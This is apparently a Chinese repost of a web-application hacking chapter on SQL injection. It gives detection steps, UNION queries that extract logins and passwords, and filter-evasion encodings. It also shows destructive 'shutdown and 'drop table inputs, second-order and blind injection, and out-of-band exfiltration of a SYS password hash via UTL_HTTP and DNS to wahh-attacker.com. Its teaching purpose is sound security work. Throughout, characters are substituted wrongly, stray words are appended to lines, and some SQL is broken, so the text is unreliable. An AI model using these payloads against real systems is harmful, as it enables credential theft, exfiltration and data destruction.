解释型语言(interpreted language)是一种在运行时由一个运行时组件(runtime component)解释语言代码并执行其中包含的指令的语言。与之相对,编译型语言(compiled language)是这样一种语言:它的代码在生成时转换成机器指令,而后在运行时直接由使用该语言的计算机处理器执行这些指令。前端
理论上说,任何语言均可使用编译器或注释器来执行,这种区别并非语言自己的内在特性。基于解释型语言的执行方式,产生了一系列叫作代码注入(code injection)的漏洞。sql
Select author,title,year From books Where publisher = 'Wiley' or 'a'='a'shell
这个查询彻底有效,可获得和1 =1攻击相同的效果数据库
实际上,提交给服务器的任何数据都可以以用户没法察觉的方式传送给数据库函数,而且可能获得不安全的处理。所以须要检查全部这些数据,以防止SQL注入漏洞。这包括全部URL参数、cookie、POST数据项以及HTTP消息头。没法哪种状况,相关参数名与参数值的处理过程均可能存在漏洞。express
当探查SQL注入漏洞时,必定要确保彻底遍历任何能够提交专门设计的输入的多阶段过程;应用程序一般会从几个请求中收集一组数据,一旦收集到所有的数据,就将其保存在数据库中。这时,若是仅在每一个请求中提交专门设计的数据并监控应用程序对那个请求的响应,就会遗漏许多SQL注入漏洞。后端
渗透测试步骤:浏览器
1.提交一个单引号做为目标查询的数据。观察是否会形成错误,或者结果是否与原始结果不一样。安全
2.若是发现错误或其余异常行为,同时提交两个单引号,看会出现什么状况。数据库使用两个单引号做为转义序列,表示一个字面量单引号。所以这个序列被解释成引用字符串中的数据,而不是结束字符串的终止符。若是这个输入使错误或异常行为消失,应用程序可能易于受到SQL注入服务器
3.进一步核实漏洞是否存在,可使用SQL链接符创建一个等同于“良性”输入字符串。若是应用程序以和处理对应“良性”输入相同的方式处理专门设计的输入,那么他极可能易于受到攻击。每种数据库使用的字符链接方法各不相同。在一个易受攻击的应用程序中,能够注入一下实例构建等同于FOO的输入:
Oracle:'||'FOOcookie
MS-SQL:'+'FOO
MySQL:' 'FOO(注意两个引号之间有一个空格)
能够在特定的参数中提交SQL通配符%,以肯定应用程序是否与一个后端数据库交互。例如,在一个搜索字段中提交这个通配符将返回大量结果,指出输入正被传送到一个SQL查询中。固然,这不必定表示应用程序易受攻击,只表示应该深刻探查以肯定是否存在任何漏洞。
1.尝试输入一个结果等于原始数字值的简单数学表达式。例如,若是原始值为2,尝试提交(1+1)或(3-1)。若是应用程序作出相同的响应,就表示它易于受到攻击
2.若是证明被修改的数据会对应用程序的行为形成明显影响,前面描述的测试方法最为可靠。例如,若是应用程序使用一个数字式PageID参数指定应返回什么内容,就用(1+1)代替2获得相同的结果,明显表示存在SQL注入。然而,若是可以在数字是参数中插入一个彻底随意的输入,但应用程序的行为却没有发生改变,那么前面的检测方法就没法发现漏洞。
3.若是第一个测试方法取得成功,能够利用更加复杂的、使用特殊SQL关键字和语法进一步得到与漏洞有关的证据。ASCII命令就是一个典型的实例,它返回被提交字符的数字化ASCII代码。例如,由于65的ASCII值为A,在SQL中,如下表达式等于2。67-ASCII('A')
4.若是单引号被过滤掉,那么前面的测试方法就没有做用。然而,这时能够利用这样一个事实:在必要时,数据库会隐含地将数字数据转化为字符串数据。例如,由于字符1的ASCII为49,在SQL中,如下表达式等于2:51-ASCII(1)
当探查一个应用程序是否存在SQL注入之类的缺陷时,咱们经常会犯一个错误,即忘记某些字符在HTTP请求中具备特殊含义,若是想在攻击有效载荷(attack payload)中插入这些字符,就必须对他们进行URL编码,确保应用程序按预料的方式解释他们。特别是如下字符:
·& 和 = 用于链接名称/值时,创建查询字符串和POST数据块。应当分别使用%26和%3d对他们进行编码;
·查询字符串不容许使用空格,若是在其中提交空格,整个字符串将当即终止。必须使用 + 或 %20 对其编码
·因为 + 被用于编码空格,若是但愿在字符串中使用+,就必须使用%2b对其编码。所以,在前面的数字化实例中,1+1应以1%2b1的形式提交
·分号被用于分隔cookie字段,必须使用%3b将其编码
通常来讲,前面描述的步骤足以肯定绝大多数的SQL注入漏洞,包括许多向浏览器返回无用结果或错误信息的漏洞。可是,在某些状况下,可能有必要使用更加高级的技巧(如时间延迟)来肯定一个漏洞。后面将会描述这些技巧。
SELECT语句被用于从数据库中获取信息。他们经常使用于应用程序响应用户操做而返回信息的功能中,如浏览一个产品目录、查看一名用户的资料或者进行一项搜索。根据数据库中的数据核对用户提交的信息的登陆功能也常用这种语句。
SQL注入漏洞偶尔也会影响SELECT查询的其余部分,如Order by字句或表和栏名称
INSERT语句用于在表中创建一个新的数据行。应用程序一般使用这种语句添加一条新的审计日志、建立一个新用户帐户或生成一个新订单
例如,若是一个应用程序容许自我注册,指定他们本身的用户名和密码,就可使用下面的语句将用户资料插入Users表中:
Insert into users (username,password,ID,privs) values ('daf','secret',2248,1)
若是username和password字段存在SQL注入漏洞,那么攻击者就能够在表中插入任何数据,包括他本身的ID和privs值。然而,要想这么作,攻击者就必须确保Values字句的其余部分正常运行。特别是其中数据项的个数与类型必须正确。例如,当注入username字段时,攻击者能够提交如下输入:foo','bar',9999,0) --
它将创建一个ID为9999,privs为0的帐户。假如privs字段被用来决定帐户权限,那么攻击者就能够利用它建立一个管理用户。
有时,攻击者彻底盲目地注入一个Insert语句也可以从应用程序中提取出字符串数据。例如,攻击者能够拦截数据库的版本字符串,并把它插入本身用户资料的一个字段中;正常状况下,浏览器将显示数据库的版本信息。
当设法注入一个insert语句时,可能没法提早知道须要提交多少个参数或参数类型。在前面的实例中,能够经过在Values子句中持续增长一个新的字段,直到应用程序建立确实想要的用户帐户,从而解决上述问题。例如,当注入username字段时能够提交如下输入:
foo') - -
foo',1)--
foo',1,1)--
foo',1,1,1)--
因为大多数数据库都会隐式地将一个整数转换为一个字符串,能够在每一个位置都使用一个整数,在这个实例中,无论其余字段如何,它将生成一个用户名为foo,密码为1的帐户。
若是发现使用值1仍然遭到拒绝,能够尝试使用值2000,许多数据库也会隐式地将它转换成基于 数据的数据类型。
UPDATE语句用于修改表中的一行或几行数据。他们常常用在用户修改已有数据值的功能中,例如,更新联系信息、修改密码或更改订单数量。
典型UPDATE语句的运行机制与insert语句相似,只是UPDATE语句中一般包含一个WHere字句,告诉数据库更新表中的哪些行的数据。例如,当用户修改密码时,应用程序可能会执行如下查询:
Update users set password = 'newsecret' where user = 'marcus' and password = 'secret'
实际上,这个查询首先核实用户的现有密码是否正确,若是密码无误,就用新的值更新它。若是这项功能存在SQL注入漏洞,那么攻击者就能避开现有密码检查,经过输入如下用户名更新管理员密码:admin'--
因为没法提早知道应用程序将根据专门设计的输入执行什么操做,所以,在一个远程应用程序中探查SQL注入漏洞每每很是危险。特别注意,修改UPDATE语句中的WHERE字句可能会使一个重要的数据库表发生完全改变。例如,若是上面的攻击者以前已经提交了如下用户名:
admin' or 1=1--
那么应用程序可能会执行如下查询:
Update users set password = 'newsecret' where user = 'admin' or 1=1
他会从新设置每一名用户的密码!
即便所攻击的应用程序功能(如主登陆功能)并不会更新任何现有数据,渗透测试员也应当留意这种风险。有时候,在用户成功登录后,应用程序会使用用户提交的用户名执行各类UPDATE查询,这意味着任何针对WHERE字句的攻击可能会“复制”到其余语句中,给全部应用程序用户的资料形成严重破坏。在尝试探查或利用任何SQL注入漏洞以前,必须确保应用程序全部者接受这些没法避免的风险;同时,应该强烈建议他们在开始测试前对数据库进行完整备份。
DELETE语句用于删除表中的一行或几行数据,例如用户从他们的购物篮中删除一件商品或从我的资料中删除一个交货地址。
SQL使用UNION操做符将两个或几个SELECT语句的结果组合到独立的一个结果中。若是一个Web应用程序的SELECT语句存在SQL注入漏洞,一般可使用UNION操做符执行另外一次彻底独立的查询,并将它的结果与第一次查询的结果组合在一块儿。若是应用程序向浏览器返回查询结果,那么就可使用这种技巧从应用程序中提取任意的数据
了解UNION两个重要的限制:
1.若是使用UNION组合两个查询的结果,这两个结果必须结构相同。也就是说,他们的栏数必须相同,必须使用按相同顺序出现的相同或兼容的数据类型
2.为注入另外一个返回有用结果的查询,攻击者必须知道它所针对的数据库表的名称以及有关栏的名称。
如今让咱们更加深刻地分析前一个限制。假设攻击者试图注入另外一个返回错误栏数的查询。他提交如下输入:
Wiley' UNION select username,password from users--
最初的查询返回3栏,而注入的查询返回2栏。所以,数据库返回如下错误:
ORA-01789:query block has incorrect number of result columns
假设攻击者试图注入另外一个栏内数据类型不兼容的查询。它提交如下输入:
Wiley' UNION select uid,username,password from users--
这样数据库尝试把第二个查询的密码栏(其中为字符串数据)与第一个查询的年代栏(其中为数字数据)组合起来。由于字符串数据没法转换为数字数据,这个语句形成一个错误:
ORA-01789:expression Must have same datatype as corresponding
expression
上面是Oracle返回的错误信息。
渗透测试步骤:
攻击的首要任务是查明应用程序执行的最初查询所返回的栏数。有两种方法能够完成这项任务。
1.能够利用NULL被转换为任何数据类型这一事实,系统性的注入包含不一样栏数的查询,
直到注入的查询获得执行,例如:
'Union select Null --
'Union select null,null--
'Union select null,null,null--
查询获得执行就说明使用了正确的栏数。若是应用程序不返回数据错误消息,仍然能够了解注入的查询是否成功执行,由于会收到另一行数据,其中包含NULL或一个空字符串
2.能够在最初的查询中注入一个Order By字句,并递增排序栏(ordering column)的索引(index),直到发生错误。例如
'order by 1--
'order by 2--
'order by 3--
通常来讲,前几个查询将会返回和最初的查询相同的结果,但数据项的顺序各不相同。若是发生错误,就说明指定了一个无效的栏数,能够据此查明实际的栏数。
肯定所需的栏数后,下一项任务就是找到一个使用字符串数据类型的栏,以便经过它从数据库中提取出任意数据。和前面同样,能够经过注入一个包含NULL值的查询,并系统性的用a代替每一个Null,从而完成这项任务。例如,若是知道查询必须返回3栏,能够注入一下查询:
'UNion select 'a',Null,Null--
'Union select Null,'a',Null--
'UNion select Null,Null,'a'--
若是注入的查询获得执行,将看到另外一行包含a值的数据,而后就可使用相关栏从数据库中提取数据。
在Oracle数据库中,每一个Select语句必须包含一个From属性,所以,不管栏数是否正确,注入UNION SELECT Null将产生一个错误。能够选择使用全局可访问表DUAL来知足这一要求。例如:
'UNION SELECT NULL FROM DUAL--
若是已经肯定注入的查询所需的栏数,而且已经找到一个使用字符串数据类型的栏,就可以提取出任意数据。一个简单的概念验证测试测试是提取数据库的版本字符串,能够对任何数据管理系统(DBMS)进行测试。例如,若是查询一共有3栏,第一栏能够提取字符串数据,能够在MS-SQL和MYSQL中注入如下查询提取数据库版本:
'UNION SELECT @@version ,null,null--
对Oracle注入如下查询将获得相同的结果:
'UNION select banner,null,null from v$version--
下面的实例说明经常使用的数据库是如何构建Services字符串的。
Oracle:'serv'||'ices'
MS-SQL:'serv'+'ices'
MySQL:'serv' 'ices'(注意中间有空格)
若是正在注入数字数据,就可使用下面的攻击字符串来识别数据库。每一个数据项在目标数据库中的值为0,在其余数据库中则会产生一个错误:
Oracle:BITAND(1,1)-BITAND(1,1)
MS-SQL:@@PACK_Received-@@PACK-RECEIVED
MySQL:CONNECTION_ID()-CONNECTION_ID()
注解 MS-SQL和SYbase数据库起源相同,所以他们在表结构、全局变量和存储过程方面存在许多类似之处。实际上,后文描述的绝大多数针对MS-SQL的攻击技巧一样也适用于SYbase。
·1.Oracle攻击
典型的搜索使用如下URL:
https://wahh-app.com/emplyees.asp?empno=7521
若是要执行UNION攻击,须要肯定查询所需的栏数(他可能与应用程序响应返回的栏数有所不一样)。注入一个返回单独一栏的查询致使以下错误消息:
https://wahh-app.com/employees.asp?empno=7521%20UNION%20Select%20Null%20from%20dual--
[oracle][ODBC][Ora]ORA-01789:query block has incorrect number of result columns
继续在注入的查询中增长其余NULL值,直到查询得以执行,应用程序再也不返回错误消息:
https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,NUll,Null,Null%20from%20dual--
注意,表中增长了一个空白行,其中包含注入的查询返回的NULL值。
肯定了所需的栏数后,如今须要找到一个使用字符串数据栏类型的栏。第一次尝试没有成功:
https://wahh-app.com/employees.asp?empNo=7521%20Union%20select%20'a',NUll,Null,Null%20from%20dual--
[oracle][ODBC][ora]ORA-01790:expression must have same datatype as corresponding expression
针对第二栏进行测试,此次取得成功。返回一行包含指定的输入的数据:
https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,'a',Null,Null%20from%20dual--
如今就有办法从数据库中提取字符串数据库了。下一步须要查明可能包含有用信息的数据库表的名称。尝试查询user_objects表,它显示与用户定义的表和其余数据项有关的细节:
https://wahh-app.com/employees.asp?empno=7521%20Union%20select%20null,object_name,object_type,null%20from%20user_objects--
前面查询了user_objects表,它返回Web应用程序的数据库用户拥有的全部对象。还能够查询all_user_objects,它将返回该用户能够看见的所有对象,即便他并不拥有这些对象。
刚才返回的这些表中可能包含敏感信息,包括在咱们的权限下不管还没法访问的雇员信息。首先,USERS表是一个明显的对象,由于其中可能包含证书。可经过查询User_tab_columns表查明这个表的栏的名称:
https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20NUll,column_name,Null,Null%20from%20user_tab_columns%20where%20table_name%20%3d%20'USERS'--
上面的输出结果代表,USERS表中其实并不包含密码和会话令牌之类敏感数据。如今已经可以提取这种形式的任何信息。例如:
https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20null,login,password,Null%20from%20users--
在刚刚描述的攻击中,有两个栏可用于获取数据;最简单的攻击方法是同时使用这两个栏。若是只有一个字段可供使用,也能够将几个想要提取的数据链接成一个字符串,放入这个字段中,实施相同的攻击。例如,下面的URL将提取Employee字段中的用户名和密码,他们之间用冒号分隔。
https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,login||':'||password,Null,NUll%20from%20user_objects--
有时,易于受到SQL注入攻击的应用程序可能会执行各类输入过滤,以防止攻击者无限制的利用其中存在的缺陷。例如,应用程序可能会删除或净化某些字符,或者阻止经常使用的SQL关键字。这种过滤一般很是容易避开,攻击者可使用如下几种技巧。
若是应用程序或编码某些在SQL注入攻击中常常用到的字符,那么攻击者不使用这些字符仍然可以实施攻击。
(1)若是注入的一个数字数据字段,就不须要使用单引号
(2)若是注释符号被阻止,一般能够设计注入的数据,使其不会破坏周围查询的语法。例如,不用注入
'or 1=1--
能够注入:
'or 'a'='a
(3)在一个MS-SQL数据库中注入批量查询时,没必要使用分号分隔符。只要纠正全部批量查询的语法,不管是否使用分号,查询解析器都会正确解释他们。
一些输入确认机制使用一个简单的黑名单,阻止或删除任何出如今这个名单中的数据。在这种状况下,攻击者会使用标准的攻击方法,寻找确认和规范化(canonicalization)机制中的常见缺陷。例如,若是SELECT关键字被阻止或删除,可使用如下输入:
SeLeCt
SELSELECTECT
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
与在C++语言中同样,也能够在SQL语句插入行内注释,注释内容包含在/*与*/符号之间。若是应用程序阻止或删除输入中的空格,攻击者可使用注释“冒充”注入的数据中的空白符。例如:
SELECT/*foo*/username,password/*foo*/From/*foo*/users
在MySQL中,注释甚至能够插入关键字中,攻击者能够经过这种方法避开某些输入确认过滤,同时保留查询中的语法。例如
SEL/*foo*/ECT username,password Fr/*foo*/om users
若是应用程序阻止某些想要做为数据项插入注入查询中的字符串,那么攻击者就可使用各类字符串操做函数动态创建须要的字符串。例如,若是表达式admin被阻止,那么攻击者能够经过如下方式创建该字符串。
Oracle:'adm'||'in'
MS-SQL:'adm'+'in'
MySQL:concat('adm','in')
多数数据库都拥有许多自定义的字符串操做函数,可用于以任何复杂的方式建立被阻止的字符串,以避开各类输入确认过滤。例如,Oracle中包含CHR,REVERSE,TRANSLATE,REPLACE和SUBSTR函数。若是单引号被阻止,攻击者可使用CHR函数插入一个字符串。例如,下面的查询可创建字符串admin:
SELECT password from users where username = CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)
一些数据库经过向相关函数提交一个用字符串表示的特殊语句来动态执行SQL语句。例如,在MS-SQL中,可使用如下语句:
exec('select * from users')
这容许在语句的任何位置使用前面描述的任何字符串操做技巧,避开旨在阻止某些表达式的过滤。例如:
exec('sel'+'ect * from'+'users')
还能够创建一个十六进制编码数字数据字符串,而后向exec函数提交这个字符串,从而避开许多种输入过滤,包括阻止单引号的过滤,例如:
declare @q varchar(8000)
Select @q = Ox73656c656374202a2066726f6d207573657273
exec(@q)
在Oracle中,可使用EXECUTE IMMEDIATE执行一个以字符串表示的查询。例如:
declare
l_cnt varchar2(20)
begin
Execute immediate 'sel'||'ect * fr'||'om_users'
into l_cnt
dbms_output.put_line(l_cnt);
end;
应用程序经常对出如今基于字符串的用户输入中的任何单引号进行转义(并拒绝任何出如今数字输入中的单引号),设法防护SQL注入。如上文所述,两个连续的单引号是一个转义序列,表示一个字面量单引号,数据库将把它解释为一个引用字符串中的数据,而不是结束字符串的终止符。所以,许多开发认为,将用户提交的输入中的单引号配对,就能够防止任何SQL注入攻击。
除将单引号配对外,一些应用程序还执行其余操做,设法净化潜在的恶意输入。在这种状况下,攻击者能够利用这些步骤的次序避开过滤。
回到前面那个易受攻击的登陆实例。假设应用程序将用户输入中的任何单引号配对,而且对数据执行长度限制,将其截短为20个字符。提交用户名:admin'--
如今获得以下查询,它没法避开登陆:
SELECT * from users WHERE username='admin''--' and password = ''
可是,若是提交下面的用户名(包含19个a和一个单引号):
aaaaaaaaaaaaaaaaaaa'
那么应用程序首先会将单引号配对,而后把字符串截短为20个字符,将输入恢复到最初的值。这回致使一个数据库错误,由于在查询中注入了另一个单引号,但没有纠正周围的语法。如今若是还提交如下密码值
[空格]or 1=1--
应用程序将执行以下查询,它可以成功避开登陆:
SELECT * FROM users WHERE username = 'aaaaaaaaaaaaaaaaaaa'' and password = ' or 1=1--'
由a组成的字符串末尾部分的配对的单引号被解释成一个转义引号,所以被当作查询数据的一部分。这个字符串直到下一个单引号位置结束,在最初的查询中,这个引号后面是用户提交的密码。所以,数据库所理解的用户名为下面的字符串:
aaaaaaaaaaaaaaaaaaa' and password =
所以,引号后面的任何内容都被当作查询数据的一部分,并可进行专门设计以破坏查询逻辑。
没必要了解字符串的长度限制,只需轮流提交下面这两个超长的字符串,看是否会发生错误,就能够检测这种类型的漏洞:
''''''''''''''''''''''''''''''
a'''''''''''''''''''''''''''''
截短转义字符发生在一个偶数字符或奇数字符以后,不管哪种状况,前面的字符串都会在查询中插入奇数数目的单引号,导致语法失败。
一种特别有益的避开过滤的方法与二阶SQL注入(Second-orderSQLinjection)有关。如前文所述,应用程序经常对出如今基于字符串的用户输入中的任何单引号进行转义(并拒绝任何在数字输入中的单引号),设法防护SQL注入。即便应用前面描述的攻击很难突破这种防护方法,但有时仍然能够避开它。
在前面搜索的示例中,这种方法明显有效。当用户输入搜索项O'Reilly时,应用程序执行如下查询:
Select author,title,year From books WHERE publisher = 'O''Reilly'
在这个查询中,用户提交的单引号被转换为两个单引号,于是传送给数据库的搜索项与用户最初输入的表达式具备相同的字符含义。
与单引号配对方法有关的问题出如今更复杂的情形中,此时同一个数据项被提交给几个SQL查询,而后写入数据库被几回读取。这是证实简单输入确认相对于边界确认存在不足的一个示例。
回到前面那个容许用户自我注册而且在一个INSERT语句中存在SQL注入漏洞的应用程序,假设开发者将出如今用户数据中的全部单引号配对,尝试修复这个漏洞。注册用户名foo'来创建以下查询,它不会在数据库中形成问题:
Insert INTO users(username,password,ID,privs) VALUES ('foo''','secret',2248,1)
如今一切正常。然而,假设应用程序还执行密码修改功能,那么只有经过验证的用户才可以访问这项功能,并且为了增强保护,应用程序要求用户提交原始密码。而后应用程序从数据库中提取用户的当前密码,并对两个字符串进行比较,核对用户提供的密码是否正确。要完成核对任务,它首先要从数据库提取用户的用户名,而后创建以下查询:
SELECT password FROM users WHERE username = 'foo''
由于保存在数据库中的用户名是字面量字符串foo',当应用程序提出访问要求时,数据库即返回这个值;只有在字符串被传送给数据库时才使用配对的转义序列。所以,当应用程序重复使用这个字符串并将它嵌入到另外一个查询中时,就会形成一个SQL注入漏洞,用户最初的恶意输入被嵌入到查询中。当用户尝试修改密码时,应用程序返回如下消息,揭示了上述缺陷:Unclosed quotation mark before the character string 'foo
要利用这种漏洞,攻击者只需注册一个包含专门设计的输入用户名,而后尝试修改密码。例如,若是注册以下用户名:
'or 1 in (select password from users where username='admin')--
注册步骤将会被应用程序安全处理。若是攻击者尝试修改密码,它注入的查询就会执行,致使成如下消息,泄露管理员的密码:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'fme69' to a column of data type int.
攻击者已经成功避开旨在阻止SQL注入攻击的输入确认,如今它可以在数据库中执行任意查询并得到查询结果。
到如今为止,咱们描述的全部攻击中,有一些现成的方法可帮助从数据库中提取有用的数据,例如,经过执行UNION攻击或在错误消息中返回数据。随着人们防护SQL注入威胁意识的加强,这种情形已经逐渐消失。现在,即便遇到SQL注入漏洞,攻击者仍然没法直接获取注入的查询结果,这种状况日益增多。咱们将讨论几种出现这种问题的状况,以及如何处理这些状况。
应用程序全部者应意识到,并不是全部攻击都旨在盗窃敏感数据。一些攻击可能更具破坏性,例如,仅仅提交12个字符串的输入,攻击者就可以使用关闭命令(shutdown command)关闭一个MS-SQL数据库:'shutdown--
攻击这还能够注入恶意命令,如下面这些命令删除一些数据库表:
'drop table users--
'drop table accounts--
'drop table customers--
若是包含单引号的输入获得正确处理,那么应用程序中的字符串字段就再也不易于受到SQL注入攻击。可是,数字数据字段可能仍然存在漏洞;在这种字段中,用户输入并不包含在单引号中。这时攻击者只需经过应用程序的数字响应(numeric response),才能得到注入的查询结果。
在这种状况下,攻击者须要作的是获取数字形式的有用数据,对注入的查询的结果进行处理。他们可使用如下两个关键函数:
ASCII,它返回输入字符的ASCII代码;
SUBSTRING(或ORACLE中的SUBSTR),它返回输入的子字符串。
这些函数可结合在一块儿使用,以数字形式从一个字符串中提取单独一个字符。例如:
SUBSTRING('Admin',1,1)返回A
ASCII('A')返回65
所以ASCII(SUBSTR('Admin',1,1))返回65
使用这两个函数,能够系统地将一个有用的字符串分割成单个的字符,并以数字形式分别返回每个字符。在自定义攻击中,能够利用这种技巧,以一次一个字节的速度。迅速得到并重建大量基于字符串的数据。
咱们曾经遇到上述问题的另外一种形式,即应用程序返回的并非真正的数字,而是一些以该数字为标识符的资源。应用程序根据用户的输入执行一个SQL查询,得到一个文档的数字标识符,而后将文档的内容返回给用户。在这种状况下,攻击者能够先得到标识符在相关数字范围内的每一份文档的备份,而后在文档内容与标识符之间创建映射。接下来,当实施前面描述的攻击时,攻击者就能够参考这个映射肯定应用程序返回的每一个文档标识符,于是获得他们成功提取的字符的ASCII值。
在处理字符串操做和数字计算方面,不一样数据库平台之间存在大量细微区别,当实施这种高级攻击时,攻击者须要意识到这类区别。经过如下地址能够找到说明不一样数据之间这些区别的详细指南:
http://sqlzoo.net/howto/source/z.dir/i08fun.xml
在许多SQL注入攻击中,应用程序并不在用户的浏览器中显示查询的结果,也不返回数据库生成的任何错误消息。很明显,在这种状况下,即便一个SQL注入漏洞确实存在,攻击者也没法对其加以利用,提取任意数据或执行任何其余操做。可是,这种想法是错误的,即便出现这种状况,仍然可使用各类技巧获取数据、确认其余恶意操做是否取的成功。
许多时候,能够注入任意一个查询,但却没法得到查询结果。回到那个易受攻击的登陆表单,它的用户名和密码字段易于遭受SQL注入:
SELECT * FROM users Where username = 'marcus' and password = 'secret'
除了修改查询逻辑以避开登陆外,还能够注入一个彻底独立的子查询,使用字符串链接符把这个子查询的结果与控制的数据项链接起来。例如:
foo'||(select 1 from dual where (select username from all_users where username = 'DBSNMP') = 'DBSNMP')--
应用程序将执行如下查询:
SELECT * FROM users WHERE username = 'foo'||(SELECT 1 From dual Where (Select username From all_users where username = 'DBSNMP') = 'DBSNMP')
数据库将执行注入的任何子查询,并将它的结果附加在foo以后,而后查找所生成用户名的资料。固然,这种登陆不会成功,但诸如的查询将得以执行。在应用程序响应中收到的只是标准的登陆失败消息。如今须要想办法得到注入查询的结果。
若是能对MS-SQL数据库使用批量查询(batch query),这时就会出现另外一种类似的情形。批量查询特别有用,由于它们容许执行一个彻底独立的语句,在这个过程当中,渗透测试员拥有所有的控制权,可使用另外的SQL语句并针对一个不一样的表进行查询。可是,由于批量查询执行查询的方式比较特殊,咱们没法直接得到得到注入查询的执行结果,一样须要想办法得到注入查询的结果。
在这种状况下,一种获取数据库的有效方法是使用一个带外通道(out-of-band channel)。已经可以在数据库中执行任意SQL语句后,渗透测试员每每能够利用数据库的一些内置功能在数据库与本身的计算机之间创建网络链接,经过它传送从数据库中收集到的任何数据。
创建适当网络链接的方法依不一样的数据库而定,并且取决于应用程序访问数据库所使用的用户权限。下面将描述一些使用每种数据库时最经常使用、最有效的技巧。
Oracle:
Oracle中包含大量低权限用户可访问的默认功能,可使用它们创建带外链接。
UTL_HTTP包可用于向其余主机提出任意HTTP请求。UTL_HTTP包含丰富的功能,并支持代理服务器、cookie、重定向和验证。这意味着,若是攻击者已经攻破一个受到强大保护的企业内部网络中的数据库,他就可以利用企业代理服务器与因特网创建外部连接。
在下面的示例中,UTL_HTTP被用于向攻击者控制的服务器传送注入查询的结果。
https://wahh-app.com/employees.asp?empno=7521'||UTL_HTTP.request('wahh-attacker.com:80/'||(select%20username%20from%20all_users%20where%20rownum%3d1))--
这个URL促使UTL_HTTP提出一个Get请求,要求访问包含all_users表中第一个用户名的URL。攻击者只需在wahh-attacker.com安装一个netcat监听器就能够收到结果。
C:\>nc -nlp 80
Get /SYS HTTP/1.1
HOST:wahh-attacker.com
Connection:close
UTL_INADDR包旨在将主机名解析为IP地址。它可用于在攻击者控制的服务器中生成任意DNS查询。许多时候,相比于UTL_HTTP攻击,这类攻击更有可能取得成功,由于即便HTTP流量被阻止,一般DNS流量仍然可以穿透企业防火墙。攻击者可以利用这个包查找选择的主机名,将它做为子域放在他们控制的一个域名前面,以此迅速得到任意数据,例如:
https://wahh-app.com/employees.asp?empno=7521'||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%20FROM%20DBA_USERS%20WHERE%20USERNAME='SYS')||'wahh-attacker.com')
它向包含SYS用户的密码散列(password hash)的wahh-attacker.com名称服务器发出下面这个DNS查询。
DCB748A5BC5390F2.wahh-attacker.com
UTL_SMTP包可用于发送电子邮件。在外出的电子邮件中发送这个包,便可得到大量从数据库中截取的数据:
UTL_TCP包可用于打开任意TCP套接字(TCP socket),以发送和接收网络数据。
利用操做系统:
一般能够在数据库服务器的操做系统上执行任意命令,以此实施权限提高攻击。这时,攻击者能够采用许多手段得到数据,如使用FTP,mail和telnet等内置命令,或者将数据复制到Web根目录使用浏览器获取。
形成带外通道不可用的缘由不少。大多状况下,是由于数据库处在一个受保护的网络中,它的边界防火墙禁止任何与因特网或其余网络的带外链接。这时,只能经过Web应用程序注入点(injection point)访问数据库。
回到那个可注入用户名和密码字段以执行任意查询的登陆功能:
SELECT * FROM users WHERE username = 'marcus' and password = 'secret'
假如尚未找到将注入查询的结果返回给浏览器的方法。可是已经知道如何使用SQL注入改变应用程序的行为。例如,提交下面两个输入将获得大相径庭的结果:
admin' and 1=1--
admin' and 1=2--
在第一种状况中,应用程序将容许攻击者以管理员的身份登陆。在第二种状况中,登陆尝试将会失败,由于1=2这个条件总为假。能够利用这种应用程序行为控制推断数据库中任意条件的真假。例如,使用前面描述的ASCII和SUBSTRING函数,攻击者能够测试截获字符串中的一个字符是否为特定的值。例如,提交下面这段输入将容许攻击者以管理员身份登陆,由于经测试条件为真:
admin' and ASCII(SUBSTRING('Admin',1,1))=65--
可是,提交下面的输入,登陆不会取得成功,由于经测试条件为假:
admin' and ASCII(SUBSTRING('Admin',1,1))=66--
提交大量这类查询,循环每一个字符的全部可能的ASCII编码,直到出现一个“触点”,就可以以每次一个字节的速度,提取出整个字符串。
Absinthe并不是一种可简单上手的工具,要有效的使用它,必须彻底了解所利用的SQL注入漏洞,而且可以提交专门设计的输入,以某种可探测的方式影响应用程序的响应。
第一步:根据实施攻击所需的所有信息对Absinthe进行配置,包括如下几项。
1.URL和请求方法
2.目标数据库的类型,以便一旦发动攻击,Absinthe可以得到相关元信息。
3.请求参数,以及是否每一个参数均可被注入
4.任何调整攻击所需的其余选项。若有必要,Absinthe可在每一个注入的有效载荷后附加一个指定的字符串,并能够添加注释字符,以确保修改后生成的查询符合语法。
第二步:单击Initialize Injection选项。这时,Absinthe将发布两个测试请求,旨在触发不一样的应用程序响应。如前面的攻击所述,Absinthe注入下面两个有效载荷:
'and 1=1--
'and 1=2--
只要已经正确配置了Absinthe,这两个测试请求就应致使应用程序做出不一样的响应,证明已经为利用漏洞作好准备。
第一次链接测试可否在应用程序中成功生成不一样的响应,取决于注入查询的语法的复杂程度。若是测试失败,那么须要根据在手动探查应用程序时得到知识,修改Absinthe的请求生成的查询语法。要修改Absinthe有效载荷以后的语法,能够更改Append text to end of query选项;要修改有效载荷以前的语法,能够更改相关参数的默认值。不断进行试验,直到成功完成初始化注入测试。
完成对Absinthe的配置后就能够实施攻击。首先,进入DB Schema选项卡选择一个或几个有效的操做:获取用户名、加载表信息和加载字段信息。
Absinthe用大量其余条件替代测试条件1=1,旨在查明数据库的内容并从获取任意数据。
例如,若是以Oracle平台为攻击对象,那么Absinthe可经过注入如下值,查明当前数据库用户名的第一个字符:
admin' and (SELECT ASCII(SUBSTR(a.username,1,1)) From User_users a where A.USERNAME = USER) = 65
若是第一个字符为A,这个条件为真。由于应用程序的响应等同于最初的1=1响应,因此Absinthe将检测到这一点。经过自动执行大量查询,Absinthe将得到整个字符串。
实际上,Absinthe不用循环使用每个可能的字符查找“触点”,相反,它使用一种更加复杂的二进制速查技巧,显著减小所需请求的数量。这个技巧首先测试被查询的字符是否大于X(所有容许值的中间值),若是该字符大于X,就对1.5X进行重复测试;不然,就对0.5X进行重复测试。例如:
admin' and (Select ASCII(SUBSTR(a.username,1,1)) From user_users a where A.USERNAME = user) > 19443--
admin' and (Select ASCII(SUBSTR(a.username,1,1)) From user_users a where A.USERNAME = user) > 9722--
etc...
